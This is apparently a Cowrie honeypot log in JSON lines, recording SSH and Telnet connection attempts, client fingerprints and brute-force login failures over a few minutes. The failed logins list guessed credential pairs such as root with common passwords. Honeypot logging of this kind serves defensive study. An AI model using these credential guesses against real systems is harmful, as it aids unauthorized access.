{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:08.979410Z","src_ip":"176.65.148.108","session":"310b793b660a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":60602,"dst_ip":"159.203.135.109","dst_port":22,"session":"53fa25b57160","protocol":"ssh","message":"New connection: 176.65.148.108:60602 (159.203.135.109:22) [session: 53fa25b57160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:09.058971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:09.063822Z","src_ip":"176.65.148.108","session":"53fa25b57160","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:09.148108Z","src_ip":"176.65.148.108","session":"53fa25b57160","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:09.400332Z","src_ip":"176.65.148.108","session":"53fa25b57160","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:10.490741Z","src_ip":"176.65.148.108","session":"53fa25b57160","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":58772,"dst_ip":"10.17.0.5","dst_port":22,"session":"bed1341de432","protocol":"ssh","message":"New connection: 46.19.67.181:58772 (10.17.0.5:22) [session: bed1341de432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:10.925683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:10.931646Z","src_ip":"46.19.67.181","session":"bed1341de432","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:11.045375Z","src_ip":"46.19.67.181","session":"bed1341de432","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0987654321q","message":"login attempt [root/0987654321q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:11.536573Z","src_ip":"46.19.67.181","session":"bed1341de432","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:12.653115Z","src_ip":"46.19.67.181","session":"bed1341de432","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.86664414405823,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:19.284340Z","src_ip":"192.119.13.58","session":"902fc1a09718","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40012,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f5f2ebb9625","protocol":"telnet","message":"New connection: 192.119.13.58:40012 (10.17.0.5:23) [session: 8f5f2ebb9625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:31.472030Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46466,"dst_ip":"10.17.0.5","dst_port":23,"session":"8afa70287d93","protocol":"telnet","message":"New connection: 192.119.13.58:46466 (10.17.0.5:23) [session: 8afa70287d93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:33.300305Z"}
{"eventid":"cowrie.session.closed","duration":0.004366397857666016,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:33.304552Z","src_ip":"192.119.13.58","session":"8afa70287d93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.227.189","src_port":53779,"dst_ip":"159.203.135.109","dst_port":22,"session":"f40cbb9b902e","protocol":"ssh","message":"New connection: 14.224.227.189:53779 (159.203.135.109:22) [session: f40cbb9b902e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:34.356414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:34.361168Z","src_ip":"14.224.227.189","session":"f40cbb9b902e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:34.603758Z","src_ip":"14.224.227.189","session":"f40cbb9b902e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456aaA","message":"login attempt [root/123456aaA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:35.611466Z","src_ip":"14.224.227.189","session":"f40cbb9b902e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:36.858030Z","src_ip":"14.224.227.189","session":"f40cbb9b902e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.71404027938843,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:51.818374Z","src_ip":"192.119.13.58","session":"fc50e653f210","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38328,"dst_ip":"10.17.0.5","dst_port":23,"session":"2444b092fc11","protocol":"telnet","message":"New connection: 192.119.13.58:38328 (10.17.0.5:23) [session: 2444b092fc11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:05.355546Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50456,"dst_ip":"10.17.0.5","dst_port":23,"session":"f805c7905898","protocol":"telnet","message":"New connection: 192.119.13.58:50456 (10.17.0.5:23) [session: f805c7905898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:08.845381Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52600,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec51ab7e7f05","protocol":"telnet","message":"New connection: 192.119.13.58:52600 (10.17.0.5:23) [session: ec51ab7e7f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:09.462606Z"}
{"eventid":"cowrie.session.closed","duration":44.325910329818726,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:15.797728Z","src_ip":"192.119.13.58","session":"8f5f2ebb9625","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.53.142.222","src_port":40671,"dst_ip":"159.203.135.109","dst_port":23,"session":"02a6737170fd","protocol":"telnet","message":"New connection: 42.53.142.222:40671 (159.203.135.109:23) [session: 02a6737170fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:21.146025Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":48840,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7e643af9620","protocol":"ssh","message":"New connection: 103.183.114.55:48840 (10.17.0.5:22) [session: c7e643af9620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:27.300412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:27.305863Z","src_ip":"103.183.114.55","session":"c7e643af9620","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:27.531751Z","src_ip":"103.183.114.55","session":"c7e643af9620","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.97.164","src_port":47378,"dst_ip":"159.203.135.109","dst_port":22,"session":"9006843fe174","protocol":"ssh","message":"New connection: 43.156.97.164:47378 (159.203.135.109:22) [session: 9006843fe174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:27.691620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:27.697029Z","src_ip":"43.156.97.164","session":"9006843fe174","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:27.935728Z","src_ip":"43.156.97.164","session":"9006843fe174","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:28.207224Z","src_ip":"103.183.114.55","session":"c7e643af9620","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sih","message":"login attempt [root/sih] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:28.922016Z","src_ip":"43.156.97.164","session":"9006843fe174","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:29.434328Z","src_ip":"103.183.114.55","session":"c7e643af9620","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:30.164042Z","src_ip":"43.156.97.164","session":"9006843fe174","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.615205526351929,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:34.761033Z","src_ip":"42.53.142.222","session":"02a6737170fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33808,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ef9b9da7503","protocol":"telnet","message":"New connection: 192.119.13.58:33808 (10.17.0.5:23) [session: 6ef9b9da7503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:40.390410Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.83","src_port":33302,"dst_ip":"159.203.135.109","dst_port":22,"session":"be580170fe07","protocol":"ssh","message":"New connection: 41.242.115.83:33302 (159.203.135.109:22) [session: be580170fe07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:41.373927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:41.378977Z","src_ip":"41.242.115.83","session":"be580170fe07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:41.586585Z","src_ip":"41.242.115.83","session":"be580170fe07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pokemon","message":"login attempt [root/pokemon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:42.448560Z","src_ip":"41.242.115.83","session":"be580170fe07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:43.660032Z","src_ip":"41.242.115.83","session":"be580170fe07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.67304801940918,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:46.135574Z","src_ip":"192.119.13.58","session":"ec51ab7e7f05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.19471502304077,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:47.550134Z","src_ip":"192.119.13.58","session":"2444b092fc11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":37316,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cc77ca48ba9","protocol":"ssh","message":"New connection: 103.82.20.28:37316 (10.17.0.5:22) [session: 2cc77ca48ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:55.739125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:55.745708Z","src_ip":"103.82.20.28","session":"2cc77ca48ba9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:56.016524Z","src_ip":"103.82.20.28","session":"2cc77ca48ba9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:56.823166Z","src_ip":"103.82.20.28","session":"2cc77ca48ba9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.343271017074585,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:57.188527Z","src_ip":"192.119.13.58","session":"f805c7905898","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:58.097561Z","src_ip":"103.82.20.28","session":"2cc77ca48ba9","protocol":"ssh"}
